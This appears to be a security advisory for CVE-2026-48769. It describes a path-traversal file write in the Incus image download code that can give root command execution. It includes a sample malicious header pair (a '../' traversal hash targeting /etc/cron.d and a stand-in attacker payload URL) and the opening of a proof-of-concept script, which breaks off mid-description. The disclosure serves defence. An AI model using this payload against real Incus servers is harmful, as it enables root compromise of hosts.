CVE-2026-48769

### Summary An arbitrary file write exists in the Incus client when a malicious image server returns a crafted `Incus-Image-Hash` header. This can lead to arbitrary command execution as root on the server. ### Details - `cmd/incusd/images.go:611-684` handles `source.type=url` by HEADing the user-supplied URL, reading `Incus-Image-Hash` and `Incus-Image-URL`, and passing them to `imageDownload()` as `Alias` and `Server`. - `cmd/incusd/daemon_images.go:91-92` defaults `fp` to the caller-controlled alias string. - `cmd/incusd/daemon_images.go:333-335` builds `destName := filepath.Join(destDir, fp)`. - `cmd/incusd/daemon_images.go:469-523` enters the `direct` protocol branch, opens `destName` with `os.Create()`, and copies the HTTP response into that file. - `cmd/incusd/daemon_images.go:528-532` validates the SHA-256 only after the file has already been created and populated. - `cmd/incusd/daemon_images.go:337-344` cleanup only runs after the copy returns; a slow or held response extends the arbitrary-write window. A malicious image server returning something along the following will cause the arbitrary file write. ``` Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce Incus-Image-URL: http://attacker/payload ``` ### PoC The script below creates a malicious image server and requests an Incus server to fetch the image. File write occurs when the image is unpacked. The following script was generated by an LLM. ``` #!/usr/bin/env python3 """Direct image URL hash path traversal to transient host cron write. For `source.type=url`, Incus first HEADs an attacker-controlled URL and trusts the `Incus-Image-Hash` header as the expected fingerprint. The direct download path then creates `/var/lib/incus/images/<hash>` before validating that the hash is a real SHA-256 of the downloaded bytes. A hash containing `../` escapes the image directory. Default mode is dry-run. With --execute-trigger this script starts a tiny HTTP server, returns a traversal ha